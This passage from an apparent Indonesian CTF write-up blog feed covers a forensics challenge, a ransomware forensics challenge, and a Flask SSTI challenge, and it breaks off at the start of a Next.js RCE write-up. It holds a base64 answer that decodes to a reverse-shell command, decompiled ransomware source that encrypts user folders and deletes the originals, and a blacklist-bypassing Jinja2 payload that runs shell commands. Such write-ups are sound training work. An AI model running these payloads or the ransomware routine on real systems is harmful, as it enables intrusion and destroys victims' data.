                &lt;TrendingDown className=&quot;h-4 w-4&quot; /&gt;
                Losers Today
              &lt;/CardTitle&gt;
            &lt;/CardHeader&gt;
            &lt;CardContent&gt;
              &lt;div className=&quot;mb-1 text-4xl font-black text-red-400&quot;&gt;
                {marketData.losers}
              &lt;/div&gt;
              &lt;div className=&quot;text-sm font-semibold text-red-300&quot;&gt;
                Stocks moving down
              &lt;/div&gt;
            &lt;/CardContent&gt;
          &lt;/Card&gt;

          &lt;Card className=&quot;border-blue-700/50 bg-gradient-to-br from-blue-900/40 to-blue-800/40 shadow-xl&quot;&gt;
            &lt;CardHeader className=&quot;pb-3&quot;&gt;
              &lt;CardTitle className=&quot;flex items-center gap-2 text-sm font-bold tracking-wider text-blue-300 uppercase&quot;&gt;
                &lt;Activity className=&quot;h-4 w-4&quot; /&gt;
                Active Stocks
              &lt;/CardTitle&gt;
            &lt;/CardHeader&gt;
            &lt;CardContent&gt;
              &lt;div className=&quot;mb-1 text-4xl font-black text-blue-400&quot;&gt;
                {marketData.totalStocks}
              &lt;/div&gt;
              &lt;div className=&quot;text-sm font-semibold text-blue-300&quot;&gt;
                In your portfolio
              &lt;/div&gt;
            &lt;/CardContent&gt;
          &lt;/Card&gt;
        &lt;/div&gt;

        &lt;Tabs defaultValue=&quot;overview&quot; className=&quot;space-y-6&quot;&gt;
          &lt;TabsList className=&quot;border border-slate-700 bg-slate-900 p-1&quot;&gt;
            &lt;TabsTrigger
              value=&quot;overview&quot;
              className=&quot;font-bold data-[state=active]:bg-emerald-500 data-[state=active]:text-white&quot;
            &gt;
              &lt;BarChart3 className=&quot;mr-2 h-4 w-4&quot; /&gt;
              OVERVIEW
            &lt;/TabsTrigger&gt;
            &lt;TabsTrigger
              value=&quot;sectors&quot;
              className=&quot;font-bold data-[state=active]:bg-emerald-500 data-[state=active]:text-white&quot;
            &gt;
              &lt;PieChart className=&quot;mr-2 h-4 w-4&quot; /&gt;
              SECTORS
            &lt;/TabsTrigger&gt;
            &lt;TabsTrigger
              value=&quot;holdings&quot;
              className=&quot;font-bold data-[state=active]:bg-emerald-500 data-[state=active]:text-white&quot;
            &gt;
              &lt;LineChart className=&quot;mr-2 h-4 w-4&quot; /&gt;
              HOLDINGS
            &lt;/TabsTrigger&gt;
          &lt;/TabsList&gt;

          &lt;TabsContent value=&quot;overview&quot; className=&quot;space-y-6&quot;&gt;
            &lt;div className=&quot;grid grid-cols-1 gap-6 lg:grid-cols-3&quot;&gt;
              &lt;div className=&quot;lg:col-span-2&quot;&gt;
                &lt;MarketHeatmap /&gt;
              &lt;/div&gt;
              &lt;div&gt;
                &lt;TopMovers /&gt;
              &lt;/div&gt;
            &lt;/div&gt;
            &lt;PortfolioOverview /&gt;
          &lt;/TabsContent&gt;

          &lt;TabsContent value=&quot;sectors&quot;&gt;
            &lt;SectorChart /&gt;
          &lt;/TabsContent&gt;

          &lt;TabsContent value=&quot;holdings&quot;&gt;
            &lt;StockTable /&gt;
          &lt;/TabsContent&gt;
        &lt;/Tabs&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  )
}
```

Title: `Saham Bos 2025 - Stock Market Dashboard`\
Total Sektor: `8`\
Total Perusahaan: `40`

Answer: `Saham Bos 2025 - Stock Market Dashboard_8_40`

## Q7: Please provide the original state of all the stock codes for Technology Sector-based Stock Code!

Untuk jawabnya kita bisa lihat di salah satu file di direktori `/lib` yaitu `stock-data.ts`

```ts
export interface Stock {
  id: string
  ticker: string
  name: string
  sector: string
  price: number
  change: number
  changePercent: number
  volume: number
  shares: number
  totalValue: number
  dayHigh: number
  dayLow: number
  marketCap: number
  pe: number
  dividend: number
}

const sectors = [
  &apos;Technology&apos;,
  &apos;Finance&apos;,
  &apos;Energy&apos;,
  &apos;Healthcare&apos;,
  &apos;Consumer&apos;,
  &apos;Industrial&apos;,
  &apos;Materials&apos;,
  &apos;Telecom&apos;,
]

const companyNames = [
  [&apos;TECH&apos;, &apos;TechIndo Digital&apos;, &apos;Technology&apos;],
  [&apos;BANK&apos;, &apos;Bank Nusantara&apos;, &apos;Finance&apos;],
  [&apos;COAL&apos;, &apos;Karbon Energy&apos;, &apos;Energy&apos;],
  [&apos;MEDI&apos;, &apos;Medika Sehat&apos;, &apos;Healthcare&apos;],
  [&apos;FOOD&apos;, &apos;Indo Food Corp&apos;, &apos;Consumer&apos;],
  [&apos;AUTO&apos;, &apos;Automotive Prima&apos;, &apos;Industrial&apos;],
  [&apos;MINE&apos;, &apos;Mineral Resources&apos;, &apos;Materials&apos;],
  [&apos;TELE&apos;, &apos;Telekom Digital&apos;, &apos;Telecom&apos;],
  [&apos;DIGI&apos;, &apos;Digital Solutions&apos;, &apos;Technology&apos;],
  [&apos;PROP&apos;, &apos;Property Mega&apos;, &apos;Industrial&apos;],
  [&apos;RETA&apos;, &apos;Retail Indonesia&apos;, &apos;Consumer&apos;],
  [&apos;PHAR&apos;, &apos;Pharma Medika&apos;, &apos;Healthcare&apos;],
  [&apos;OILG&apos;, &apos;Oil &amp; Gas Indo&apos;, &apos;Energy&apos;],
  [&apos;FINA&apos;, &apos;Finance Capital&apos;, &apos;Finance&apos;],
  [&apos;CHIP&apos;, &apos;Semiconductor ID&apos;, &apos;Technology&apos;],
  [&apos;BREW&apos;, &apos;Beverage Corp&apos;, &apos;Consumer&apos;],
  [&apos;STLX&apos;, &apos;Steel Works&apos;, &apos;Materials&apos;],
  [&apos;AIRP&apos;, &apos;Airport Services&apos;, &apos;Industrial&apos;],
  [&apos;INSUR&apos;, &apos;Insurance Plus&apos;, &apos;Finance&apos;],
  [&apos;SOLAR&apos;, &apos;Solar Energy&apos;, &apos;Energy&apos;],
  [&apos;CLOUD&apos;, &apos;Cloud Computing&apos;, &apos;Technology&apos;],
  [&apos;HOTEL&apos;, &apos;Hotel Group&apos;, &apos;Consumer&apos;],
  [&apos;CEMEN&apos;, &apos;Cement Industry&apos;, &apos;Materials&apos;],
  [&apos;SHIP&apos;, &apos;Shipping Lines&apos;, &apos;Industrial&apos;],
  [&apos;ELECT&apos;, &apos;Electronics Co&apos;, &apos;Technology&apos;],
  [&apos;BANKS&apos;, &apos;Banking Service&apos;, &apos;Finance&apos;],
  [&apos;PLAST&apos;, &apos;Plastic Mfg&apos;, &apos;Materials&apos;],
  [&apos;TRANS&apos;, &apos;Transport Log&apos;, &apos;Industrial&apos;],
  [&apos;PHARM&apos;, &apos;Pharmacy Chain&apos;, &apos;Healthcare&apos;],
  [&apos;MEAT&apos;, &apos;Meat Producer&apos;, &apos;Consumer&apos;],
  [&apos;GOLD&apos;, &apos;Gold Mining&apos;, &apos;Materials&apos;],
  [&apos;BUILD&apos;, &apos;Construction&apos;, &apos;Industrial&apos;],
  [&apos;TOWER&apos;, &apos;Tower Telecom&apos;, &apos;Telecom&apos;],
  [&apos;DATA&apos;, &apos;Data Center&apos;, &apos;Technology&apos;],
  [&apos;INVST&apos;, &apos;Investment Co&apos;, &apos;Finance&apos;],
  [&apos;GAS&apos;, &apos;Natural Gas&apos;, &apos;Energy&apos;],
  [&apos;HOSP&apos;, &apos;Hospital Group&apos;, &apos;Healthcare&apos;],
  [&apos;FASH&apos;, &apos;Fashion Retail&apos;, &apos;Consumer&apos;],
  [&apos;CHEM&apos;, &apos;Chemical Ind&apos;, &apos;Materials&apos;],
  [&apos;PORT&apos;, &apos;Port Services&apos;, &apos;Industrial&apos;],
]

export function generateStockData(): Stock[] {
  return companyNames.map((company, index) =&gt; {
    const basePrice = Math.random() * 10000 + 1000
    const change = (Math.random() - 0.5) * 500
    const changePercent = (change / basePrice) * 100
    const shares = Math.floor(Math.random() * 100000) + 10000
    const volume = Math.floor(Math.random() * 10000000) + 1000000

    return {
      id: `stock-${index}`,
      ticker: company[0],
      name: company[1],
      sector: company[2],
      price: basePrice,
      change,
      changePercent,
      volume,
      shares,
      totalValue: basePrice * shares,
      dayHigh: basePrice + Math.random() * 200,
      dayLow: basePrice - Math.random() * 200,
      marketCap: basePrice * shares * (Math.random() * 10 + 5),
      pe: Math.random() * 30 + 5,
      dividend: Math.random() * 5,
    }
  })
}

export function getSectorData() {
  const stocks = generateStockData()
  const sectorMap = new Map&lt;
    string,
    { value: number; change: number; count: number }
  &gt;()

  stocks.forEach((stock) =&gt; {
    const existing = sectorMap.get(stock.sector) || {
      value: 0,
      change: 0,
      count: 0,
    }
    sectorMap.set(stock.sector, {
      value: existing.value + stock.totalValue,
      change: existing.change + stock.change * stock.shares,
      count: existing.count + 1,
    })
  })

  return Array.from(sectorMap.entries()).map(([name, data]) =&gt; ({
    name,
    value: data.value,
    change: data.change,
    changePercent: (data.change / data.value) * 100,
    stocks: data.count,
  }))
}
```

ya itu tinggal di filter aja lah ya yang bagian Technology

Answer: `TECH, DIGI, CHIP, CLOUD, ELECT, DATA`

## Q8: Upon the investigation, we sought another potential threat actor compromising the machine from the different IP but we didn&apos;t see any plain IOC in the server. It looks like this threat actor was first seen in November before the exfiltration event occurs whereas there has been an unauthorized dependency/package installation in the server which we haven&apos;t validated yet. Are you able to find another IP of the attacker and its payload in base64 form?

Nah disini nih, yang stuck nya, gw nyari nya tuh package di web nya, ternyata...

![](aseng.png)

ternyata dpkg, dan ada attr, yaudah jadi tinggal gini

![](q8.png)

![](tcp1p.png)
Answer: `192.168.100.137_c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMDAuMTM3LzgyODEgMD4mMQ==`

![](flag.png)
Flag: `CJ2025{13bf2db2271d235e2c33dc98d45482b1242df9333402f3e02ca83a9def15ac4b}`</content:encoded><category>forensics</category><category>ctf</category><category>disk-image</category><category>pcap</category><category>crypto</category><category>reverse</category><author>b4r</author></item><item><title>the type of an ordinary ransomware challs</title><link>https://baradika.web.id/blog/ara7horseman/</link><guid isPermaLink="true">https://baradika.web.id/blog/ara7horseman/</guid><description>a writeup of ara7ctf 2026 for/horseman</description><pubDate>Sat, 07 Feb 2026 00:00:00 GMT</pubDate><content:encoded>Disini gw diberikan file .ad1 dan service netcat untuk menjawab soal soal yang diberi di service netcat tersebut, total ada 7 pertanyaan.

### Q1: A suspicious executable was found in the Downloads folder. What is the SHA256 Hash of this malware?

Disini untuk menjawabnya, gw perlu meng-dump .exe file nya yang berada di folder Downloads menggunakan FTK Imager, dan cek hask nya

![](q1.png)

Answer: `aeb4cc771ae6f76b17ad1e8fb44d69cf5e5cea24adb23af03cae1dc7fd5e743c`

### Q2: The malware targets specific users by incorporating their unique system identifier into the encryption key. What is the SID (Security Identifier) of the infected user? Answer format: S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx

Disini gw perlu mencari SID dari user yang terinfeksi. Informasi ini tersimpan di registry key `ProfileList` dalam hive `SOFTWARE`. Gw menggunakan `hivexregedit` untuk mengekspor key tersebut.

```
hivexregedit --export --unsafe --prefix &apos;HKEY_LOCAL_MACHINE\SOFTWARE&apos; SOFTWARE &apos;\Microsoft\Windows NT\CurrentVersion\ProfileList&apos; &gt; sid.reg
```

```auto
Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList]
&quot;Default&quot;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,44,00,65,00,66,00,61,00,75,00,6c,00,74,00,00,00
&quot;ProfilesDirectory&quot;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,00,00
&quot;ProgramData&quot;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,44,00,61,00,74,00,61,00,00,00
&quot;Public&quot;=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,44,00,72,00,69,00,76,00,65,00,25,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,50,00,75,00,62,00,6c,00,69,00,63,00,00,00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18]
&quot;Flags&quot;=dword:0000000c
&quot;ProfileImagePath&quot;=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,63,00,6f,00,6e,00,66,00,69,00,67,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,70,00,72,00,6f,00,66,00,69,00,6c,00,65,00,00,00
&quot;RefCount&quot;=dword:00000001
&quot;Sid&quot;=hex(3):01,01,00,00,00,00,00,05,12,00,00,00
&quot;State&quot;=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19]
&quot;Flags&quot;=dword:00000000
&quot;ProfileImagePath&quot;=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,50,00,72,00,6f,00,66,00,69,00,6c,00,65,00,73,00,5c,00,4c,00,6f,00,63,00,61,00,6c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00
&quot;State&quot;=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20]
&quot;Flags&quot;=dword:00000000
&quot;ProfileImagePath&quot;=hex(2):25,00,73,00,79,00,73,00,74,00,65,00,6d,00,72,00,6f,00,6f,00,74,00,25,00,5c,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,50,00,72,00,6f,00,66,00,69,00,6c,00,65,00,73,00,5c,00,4e,00,65,00,74,00,77,00,6f,00,72,00,6b,00,53,00,65,00,72,00,76,00,69,00,63,00,65,00,00,00
&quot;State&quot;=dword:00000000

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-2472383311-4215914088-769331741-500]
&quot;Flags&quot;=dword:00000000
&quot;FullProfile&quot;=dword:00000001
&quot;LocalProfileLoadTimeHigh&quot;=dword:01dc91fe
&quot;LocalProfileLoadTimeLow&quot;=dword:d39a598b
&quot;LocalProfileUnloadTimeHigh&quot;=dword:01dc921b
&quot;LocalProfileUnloadTimeLow&quot;=dword:a279ef83
&quot;ProfileAttemptedProfileDownloadTimeHigh&quot;=dword:00000000
&quot;ProfileAttemptedProfileDownloadTimeLow&quot;=dword:00000000
&quot;ProfileImagePath&quot;=hex(2):43,00,3a,00,5c,00,55,00,73,00,65,00,72,00,73,00,5c,00,68,00,6f,00,72,00,73,00,65,00,6d,00,61,00,6e,00,00,00
&quot;ProfileLoadTimeHigh&quot;=dword:00000000
&quot;ProfileLoadTimeLow&quot;=dword:00000000
&quot;RunLogonScriptSync&quot;=dword:00000000
&quot;Sid&quot;=hex(3):01,05,00,00,00,00,00,05,15,00,00,00,4f,93,5d,93,68,be,49,fb,1d,12,db,2d,f4,01,00,00
&quot;State&quot;=dword:00000304
```

Dari hasil dump registry tersebut, terlihat entry untuk `S-1-5-21-2472383311-4215914088-769331741`.

Answer: `S-1-5-21-2472383311-4215914088-769331741`

### Q3: The malware leaves a trace of its initialization within the Windows Event Logs. What is the Event ID used by the malware to log its persistence entry?

Sebelumnya karna gw udah dump `malicious` .exe nya, kita bisa cek bahwa binary tersebut ternyata adalah pyinstaller, langsung gw extract

![](q3.png)

dan ini hasil dari extract pyinstaller-nya

![](q32.png)

kita dapet `updater.pyc`, langsung gw decompile pake pylingual

```py
# Decompiled with PyLingual (https://pylingual.io)
# Internal filename: &apos;updater.py&apos;
# Bytecode version: 3.14rc3 (3627)
# Source timestamp: 1970-01-01 00:00:00 UTC (0)

import os
import win32evtlog
import win32api
import win32security
import hashlib
import base64
import random
import string
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def get_user_sid():
   try:
       username = win32api.GetUserName()
       domain = win32api.GetDomainName()
       sid_obj, _, _ = win32security.LookupAccountName(domain, username)
       sid_str = win32security.ConvertSidToStringSid(sid_obj)
       return sid_str
   except:
       return &apos;S-1-5-21-UNKNOWN&apos;
def generate_and_log_token():
   token = &apos;&apos;.join(random.choices(string.ascii_uppercase + string.digits, k=16))
   msg = f&apos;Update service initialized successfully. Reference ID: {token}.&apos;
   try:
       h_event_log = win32evtlog.OpenEventLog(None, &apos;Application&apos;)
       win32evtlog.ReportEvent(h_event_log, win32evtlog.EVENTLOG_INFORMATION_TYPE, 0, 1337, None, [msg], None)
   except:
       pass
   return token
def encrypt_specific_folders(sid, token):
   raw_key = f&apos;{sid}_{token}&apos;.encode()
   key = hashlib.sha256(raw_key).digest()
   user_home = os.path.expanduser(&apos;~&apos;)
   target_folders = [&apos;Documents&apos;, &apos;Downloads&apos;, &apos;Pictures&apos;]
   print(&apos;[*] Starting encryption...&apos;)
   for folder_name in target_folders:
       full_path = os.path.join(user_home, folder_name)
       if not os.path.exists(full_path):
           continue
       else:
           for root, dirs, files in os.walk(full_path):
               for filename in files:
                   if filename.lower().endswith((&apos;.exe&apos;, &apos;.py&apos;, &apos;.dll&apos;, &apos;.ini&apos;)):
                       continue
                   else:
                       filepath = os.path.join(root, filename)
                       try:
                           with open(filepath, &apos;rb&apos;) as f:
                               data = f.read()
                           iv = os.urandom(16)
                           cipher = AES.new(key, AES.MODE_CBC, iv)
                           ciphertext = cipher.encrypt(pad(data, AES.block_size))
                           enc_filename = base64.b64encode(filename.encode()).decode()
                           output_path = os.path.join(root, enc_filename)
                           with open(output_path, &apos;wb&apos;) as f:
                               f.write(iv)
                               f.write(ciphertext)
                           os.remove(filepath)
                           print(f&apos;[+] Encrypted: {filename}&apos;)
                       except Exception as e:
                           pass
if __name__ == &apos;__main__&apos;:
   sid = get_user_sid()
   token = generate_and_log_token()
   encrypt_specific_folders(sid, token)
   print(&apos;[!] DONE.&apos;)
```

dari source yang sudah didapat dari hasil decompile, kita tau bahwa jawabannya adalah `1337`

Answer: `1337`

### Q4: Within the description of the event log identified in Question 3, the malware stores a unique &quot;Reference ID&quot; or token. What is the value of this Secret Token?

Disini gw pake `EvtxECmd` untuk parsing `Application.evtx` yang berada di path `C:\Windows\System32\winevt\Logs\Application.evtx`, setelah dapet langsung grep `Reference ID` ke Application.evtx

![](q4.png)

Answer: `OOM9OV5VPRNIK3S2`

### Q5: To establish an incident timeline, determine the exact time the malware recorded its persistence log. What is the timestamp in UTC?

Disini kita tau karna telah mengexport menjadi csv, jadi kita bisa lihat timestampnya

```auto
312,312,2026-01-30 16:02:39.0697403,1337,Info,Application,Application,0,0,horseman,16,,,,,,,,,,,,False,C:\Users\Bara\ceteep\ara7\for\horseman\Application.evtx,0x80000000000000,0,&quot;{&quot;&quot;EventData&quot;&quot;:{&quot;&quot;Data&quot;&quot;:&quot;&quot;Update service initialized successfully. Reference ID: OOM9OV5VPRNIK3S2.&quot;&quot;,&quot;&quot;Binary&quot;&quot;:&quot;&quot;&quot;&quot;}}
```

kalo berdasarkan data di atas, seharusnya kan jawabannya `2026-01-30 16:02:39`, tetapi saat gw submit salah, jadi gw coba untuk convert ke banyak nya zona waktu, dan salah satunya gw mencoba convert ke UTC 5

![](q5.png)

dan pas coba disubmit, ternyata bener

Answer: `2026-01-30 11:02:39`

### Q6: Based on the header analysis of the encrypted files and the malware&apos;s logic, identify the encryption algorithm and mode used.

Disini karna sebelumnya gw udah decompile `updater.pyc` nya, jadi kita tau bahwa berdasarkan source nya

```py
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv)
ciphertext = cipher.encrypt(pad(data, AES.block_size))
enc_filename = base64.b64encode(filename.encode()).decode()
output_path = os.path.join(root, enc_filename)
```

bahwa algorithm yang digunakan adalah AES dengan mode CBC

Answer: `AES-CBC`

### Q7: DATA RECOVERY (FINAL) The user reports losing a critical file named &apos;confidential.txt&apos; in the Documents folder. Using your findings (SID + Token + IV), decrypt the file and reveal the secret string inside.

Dengan menyatukan findinds yang sudah kita dapat, kita bisa membuat decryptor nya seperti ini

```py
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

TOKEN = &quot;OOM9OV5VPRNIK3S2&quot;
FILE  = &quot;Y29uZmlkZW50aWFsLnR4dA==&quot;

candidates = [
    &quot;S-1-5-21-2472383311-4215914088-769331741&quot;,      # domain SID (format Q2)
    &quot;S-1-5-21-2472383311-4215914088-769331741-500&quot;,  # full user SID
]

data = open(FILE, &quot;rb&quot;).read()
iv, ct = data[:16], data[16:]

for SID in candidates:
    raw_key = f&quot;{SID}_{TOKEN}&quot;.encode()
    key = hashlib.sha256(raw_key).digest()

    try:
        pt = unpad(AES.new(key, AES.MODE_CBC, iv).decrypt(ct), AES.block_size)
        print(&quot;[OK] SID =&quot;, SID)
        print(pt.decode(&quot;utf-8&quot;))
        break
    except Exception as e:
        print(&quot;[FAIL] SID =&quot;, SID, &quot;|&quot;, e)
```

![](q7.png)

Answer: `b967081a1a071c25e2c4437e2e124b60b73407ec8eceb52e1eecc00caa1873ba`

Nah jawabannya udah kekumpul semua, langsung submit ke netcat service nya

![](flag.png)

Answer: `ARA7{GG!_y0u_4r3_4_f0r3ns1c_M4st3r_&amp;_R4ns0mw4r3_hUnT3R_HORSEMAN_SOLVED!!!!}`</content:encoded><category>digital forensic</category><category>reverse engineering</category><category>ransomware</category><category>ctf</category><author>b4r</author></item><item><title>LKS internal selection is very fun hahaha...</title><link>https://baradika.web.id/blog/seleksi/</link><guid isPermaLink="true">https://baradika.web.id/blog/seleksi/</guid><description>a complete write up of insanetemple for my beloved juniors</description><pubDate>Fri, 30 Jan 2026 00:00:00 GMT</pubDate><content:encoded># Challenge Description

Disoal `insanetemple` ini, kita diberikan source code Flask backend. Mari kita bedah struktur file dan vulnerability-nya.

![](files.png)

# 1. Source Code Analysis

Mari kita lihat `app.py`:

```python
from flask import Flask, request, render_template, render_template_string

app = Flask(__name__)

BLACKLIST = [
  &quot;os&quot;,&quot;system&quot;,&quot;class&quot;,&quot;subprocess&quot;,&quot;import&quot;,
  &quot;request&quot;,&quot;self&quot;,&quot;config&quot;,&quot;env&quot;,&quot;eval&quot;,&quot;exec&quot;,&quot;locals&quot;,
  &quot;globals&quot;, &quot;builtins&quot;, &quot;open&quot;, &quot;read&quot;, &quot;write&quot;,
  &quot;getitem&quot;, &quot;subclasses&quot;, &quot;mro&quot;, &quot;base&quot;, &quot;init&quot;
]

def is_blacklisted(s):
    lowered = s.lower()
    for w in BLACKLIST:
        if w in lowered:
            return True
    return False

@app.route(&quot;/&quot;, methods=[&quot;GET&quot;, &quot;POST&quot;])
def index():
    if request.method == &quot;POST&quot;:
        user_input = request.form.get(&quot;template&quot;, &quot;&quot;)

        if is_blacklisted(user_input):
            return render_template(&quot;result.html&quot;, result=&quot;eits ga boleh&quot;)

        try:
            result = render_template(&quot;result.html&quot;, result=render_template_string(&quot;{{&quot; + user_input + &quot;}}&quot;))
        except Exception as e:
            result = f&quot;Error: {e}&quot;

        return result

    return render_template(&quot;index.html&quot;)
```

## The Vulnerability: SSTI

Vulnerability utamanya ada di baris ini:

```python
result = render_template(&quot;result.html&quot;, result=render_template_string(&quot;{{&quot; + user_input + &quot;}}&quot;))
```

Fungsi `render_template_string` menerima input user (`user_input`) yang langsung digabungkan (concatenated) dengan kurung kurawal `{{ }}`. Ini adalah textbook definition dari **Server-Side Template Injection (SSTI)**.

Apapun yang kita masukkan akan dievaluasi oleh Jinja2 template engine. Jika kita masukkan `7*7`, server akan merender `49`. Jika kita masukkan kode Python berbahaya, server akan mengeksekusinya.

## The Filter: Blacklist

Ada `BLACKLIST` yang cukup ketat:

```python
BLACKLIST = [
  &quot;os&quot;,&quot;system&quot;,&quot;class&quot;,&quot;subprocess&quot;,&quot;import&quot;,
  &quot;request&quot;,&quot;self&quot;,&quot;config&quot;,&quot;env&quot;,&quot;eval&quot;,&quot;exec&quot;,&quot;locals&quot;,
  &quot;globals&quot;, &quot;builtins&quot;, &quot;open&quot;, &quot;read&quot;, &quot;write&quot;,
  &quot;getitem&quot;, &quot;subclasses&quot;, &quot;mro&quot;, &quot;base&quot;, &quot;init&quot;
]
```

Fungsi `is_blacklisted` melakukan pengecekan string sederhana (`if w in lowered`). Ini berarti kita tidak bisa mengirim kata-kata seperti &quot;class&quot;, &quot;import&quot;, &quot;os&quot; secara mentah. Tapi, filter ini punya kelemahan: **dia tidak mengevaluasi template sebelum dicek**.

# 2. Construction of the Exploit

Kita perlu memutar otak untuk mem-bypass filter ini. Teknik utamanya adalah **String Concatenation** dan **Attribute Access via String**.

Jika kita butuh string &quot;globals&quot;, kita tidak bisa mengetiknya langsung. Tapi di Python (dan Jinja2), `&apos;glo&apos; + &apos;bals&apos;` akan menjadi `&apos;globals&apos;`. Filter hanya melihat input mentah `&apos;glo&apos; + &apos;bals&apos;`, yang tidak mengandung kata terlarang!

Mari kita bangun payload step-by-step.

### Step A: Finding a Foothold

Kita butuh objek awal. Karena `request`, `self`, `config` di-blacklist, kita cari yang lain. Fungsi `lipsum` (bawaan Jinja2) tidak di-blacklist.

**Payload:** `lipsum`

### Step B: Accessing Globals

Kita ingin akses `__globals__`, tapi kata &quot;globals&quot; di-blacklist.
Solusinya: Gunakan filter `|attr()` dan string concatenation.

**Target:** `lipsum.__globals__`
**Bypass:** `lipsum|attr(&apos;__glo&apos;+&apos;bals__&apos;)`

### Step C: Accessing Builtins

Dari globals, kita ingin ke `__builtins__` untuk dapat akses fungsi `__import__`.
Kata &quot;builtins&quot; di-blacklist. Juga, akses dictionary via `[&apos;key&apos;]` biasanya memicu `getitem` (yang juga di-blacklist).

Untungnya, object global adalah dictionary, jadi punya method `.get()`.

**Target:** `globals[&apos;__builtins__&apos;]`
**Bypass:** `...|attr(&apos;get&apos;)(&apos;__buil&apos;+&apos;tins__&apos;)`

### Step D: Importing `os`

Sekarang kita punya akses ke builtins. Kita butuh fungsi `__import__` untuk load module `os`.
Kata &quot;import&quot; dan &quot;os&quot; di-blacklist.

**Target:** `builtins[&apos;__import__&apos;](&apos;os&apos;)`
**Bypass:** `...|attr(&apos;get&apos;)(&apos;__imp&apos;+&apos;ort__&apos;)(&apos;o&apos;+&apos;s&apos;)`

### Step E: Remote Code Execution (RCE)

Kita sudah pegang module `os`. Sekarang kita mau jalankan perintah shell via `popen`.
Kata &quot;popen&quot; di-blacklist.

**Target:** `os.popen(&apos;ls /&apos;)`
**Bypass:** `...|attr(&apos;po&apos;+&apos;pen&apos;)(&apos;ls /&apos;)`

### Step F: Reading the Output

`popen` mengembalikan file object. Kita perlu baca isinya pakai `read()`.
Kata &quot;read&quot; di-blacklist.

**Target:** `result.read()`
**Bypass:** `...|attr(&apos;re&apos;+&apos;ad&apos;)()`

# 3. The Final Payload

Menggabungkan semua langkah di atas, kita dapat payload raksasa ini:

```python
lipsum|attr(&apos;__glo&apos;+&apos;bals__&apos;)|attr(&apos;get&apos;)(&apos;__buil&apos;+&apos;tins__&apos;)|attr(&apos;get&apos;)(&apos;__imp&apos;+&apos;ort__&apos;)(&apos;o&apos;+&apos;s&apos;)|attr(&apos;po&apos;+&apos;pen&apos;)(&apos;ls /&apos;)|attr(&apos;re&apos;+&apos;ad&apos;)()
```

Kirim payload ini ke server, dan boom!

![](ls.png)

Kita lihat ada flag file di sana. Tinggal ganti command `ls /` jadi `cat /nama_file_flag`.

![](flag.png)

**Flag:**
`LKSSMKN24{one_day_i_reincarnated_as_a_ctf_player_with_a_mission_to_conquer_all_the_challenges_before_me_everything_was_fine_until_i_encountered_a_mysterious_python_challenge_that_raised_the_ultimate_question_is_python_even_a_real_language_as_a_tech_enthusiast_i_thought_python_was_my_safe_haven_familiar_and_friendly_but_pyjail_changed_everything_the_more_i_explored_it_the_more_it_felt_like_i_was_trapped_in_a_twisted_game_where_normal_python_rules_didnt_apply_functions_i_once_trusted_betrayed_me_globals_i_needed_disappeared_it_felt_like_i_was_wrestling_with_an_obscure_beast_that_lurks_in_the_dark_corners_of_python_surely_this_cant_be_happening_i_questioned_was_this_even_programming_anymore_or_a_mind_bending_puzzle_beyond_my_comprehension_it_was_as_if_logic_bent_to_the_whims_of_some_cruel_pyjail_overlord_restricting_my_every_move_and_taunting_me_with_imports_i_couldnt_use_yet_i_persisted_because_in_ctf_we_never_quit}`</content:encoded><category>web exploitation</category><category>ctf</category><author>b4r</author></item><item><title>the first chall about CVE-2025-5518 i&apos;ve solved</title><link>https://baradika.web.id/blog/cyberwave10-react2shell/</link><guid isPermaLink="true">https://baradika.web.id/blog/cyberwave10-react2shell/</guid><description>it is easy tho</description><pubDate>Tue, 30 Dec 2025 00:00:00 GMT</pubDate><content:encoded>![](desc.png)

## What is CVE-2025-5518?

Sesuai nama challenge, yaitu **react2shell** yang merujuk ke CVE-2025-5518, sebuah Remote Code Execution (RCE) vulnerability di Next.js yang memungkinkan attacker untuk execute arbitrary commands di server.

## The Vulnerable Component

Vulnerability ini ada di **Next.js Server Actions** - fitur yang memungkinkan kita membuat server-side functions yang bisa dipanggil langsung dari client-side code. Masalahnya adalah:

1. **Improper Input Validation**: Next.js tidak properly validate multipart form data yang dikirim ke server actions
2. **Prototype Pollution**: Attacker bisa manipulate JavaScript object prototype chain
3. **Code Injection via `_prefix`**: Ada property `_prefix` di response object yang di-evaluate sebagai JavaScript code

## How The Exploit Works

Exploit ini bekerja dengan cara:

### 1. **Multipart Form Data Manipulation**

Script mengirim specially-crafted multipart form data dengan structure seperti ini:

```json
{
  &quot;then&quot;: &quot;$1:__proto__:then&quot;,
